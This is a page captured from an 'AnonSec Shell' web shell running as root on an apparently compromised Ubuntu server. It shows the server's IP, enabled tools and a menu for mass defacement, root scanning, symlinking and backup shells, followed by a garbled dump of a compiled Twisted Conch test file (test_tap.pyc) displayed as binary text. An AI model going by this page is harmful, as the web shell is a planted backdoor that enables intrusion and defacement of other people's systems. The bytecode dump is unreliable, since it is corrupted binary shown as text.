AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/conch/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/conch/test/__pycache__/test_tap.cpython-310.pyc
o

�b��@s�dZddlmZddlmZddlmZmZmZddl	m
Z
ddlmZe
d�Z
e
d�Ze
d	�Ze
rBerBerBdd
lmZddlmZGdd
�d
e�ZdS)z!
Tests for L{twisted.conch.tap}.
�)�StreamServerEndpointService)�error)�ISSHPrivateKey�IUsernamePassword�UsernamePassword)�
requireModule)�TestCase�cryptography�pyasn1ztwisted.conch.unix)�tap)�OpenSSHFactoryc@sleZdZdZes
dZesdZesdZdZdd�Z	dd	�Z
d
d�Zdd
�Zdd�Z
dd�Zdd�Zdd�ZdS)�MakeServiceTestsz'
    Tests for L{tap.makeService}.
    zcan't run without cryptographyzCannot run without PyASN1z can't run on non-posix computers)siamusersthisispasswordcCsV|��|_t|jd��}|�d�|j��Wd�n1swYt��|_dS)z/
        Create a file with two users.
        zwb+�:N)	�mktemp�filename�open�write�join�usernamePasswordr�Options�options)�self�f�r�=/usr/lib/python3/dist-packages/twisted/conch/test/test_tap.py�setUp(s

�zMakeServiceTests.setUpcCs@t��}t�|�}|�|t�|�|jjd�|�|jt	�dS)z�
        L{tap.makeService} returns a L{StreamServerEndpointService} instance
        running on TCP port 22, and the linked protocol factory is an instance
        of L{OpenSSHFactory}.
        �N)
rr�makeService�assertIsInstancer�assertEqual�endpoint�_port�factoryr)r�config�servicerrr�
test_basic1s

zMakeServiceTests.test_basiccCsNd}|�t|jdd�|�t|jdd�|�|t|jd�d|f�dS)z�
        Make sure that if the C{--auth} command-line option is not passed,
        the default checkers are (for backwards compatibility): SSH and UNIX
        ��credInterfacesz)SSH should be one of the default checkersz*UNIX should be one of the default checkers�credCheckersz&There should be %d checkers by defaultN)�assertInrrrr�len)r�numCheckersrrr�test_defaultAuths=s ���z"MakeServiceTests.test_defaultAuthscCs0|j�dd|jg�|�t|jd�d�dS)z�
        The C{--auth} command-line option will add a checker to the list of
        checkers, and it should be the only auth checker
        �--auth�file:r(�N�r�parseOptionsrrr*�rrrr�test_authAddedTszMakeServiceTests.test_authAddedcCs4|j�dd|jddg�|�t|jd�d�dS)z�
        Multiple C{--auth} command-line options will add all checkers specified
        to the list ofcheckers, and there should only be the specified auth
        checkers (no default checkers).
        r-r.zmemory:testuser:testpasswordr(r&Nr0r2rrr�test_multipleAuthAdded\s��z'MakeServiceTests.test_multipleAuthAddedcCsH|j�dd|jg�|jdd}t|jdd�}|�|�|�tj�S)z�
        The checker created by the C{--auth} command-line option returns a
        L{Deferred} that fails with L{UnauthorizedLogin} when
        presented with credentials that are unknown to that checker.
        r-r.r(���r�fake)	rr1rrr�
assertFailure�requestAvatarIdr�UnauthorizedLogin)r�checker�invalidrrr�test_authFailurels�z!MakeServiceTests.test_authFailurecsP�j�dd�jg��jdd}t�j��|���}��fdd�}|�|�S)z�
        The checker created by the C{--auth} command-line option returns a
        L{Deferred} that returns the avatar id when presented with credentials
        that are known to that checker.
        r-r.r(r5cs��|�j�dS)N)r�username)r=��correctrrr�checkSuccess�sz7MakeServiceTests.test_authSuccess.<locals>.checkSuccess)rr1rrrr8�addCallback)rr:�dr@rr>r�test_authSuccesszs


z!MakeServiceTests.test_authSuccesscCs8t��}t�|�}|jj}|�t|j���t	t
h�dS)z�
        The L{OpenSSHFactory} built by L{tap.makeService} has a portal with
        L{ISSHPrivateKey} and L{IUsernamePassword} interfaces registered as
        checkers.
        N)rrrr"�portalr�set�checkers�keysrr)rr#r$rDrrr�
test_checkers�s
�zMakeServiceTests.test_checkersN)�__name__�
__module__�__qualname__�__doc__r	�skipr
�unixrrr%r,r3r4r<rCrHrrrrr
s"	r
N)rL�twisted.application.internetr�twisted.credr�twisted.cred.credentialsrrr�twisted.python.reflectr�twisted.trial.unittestrr	r
rN�
twisted.conchr�$twisted.conch.openssh_compat.factoryrr
rrrr�<module>s

Anon7 - 2022
AnonSec Team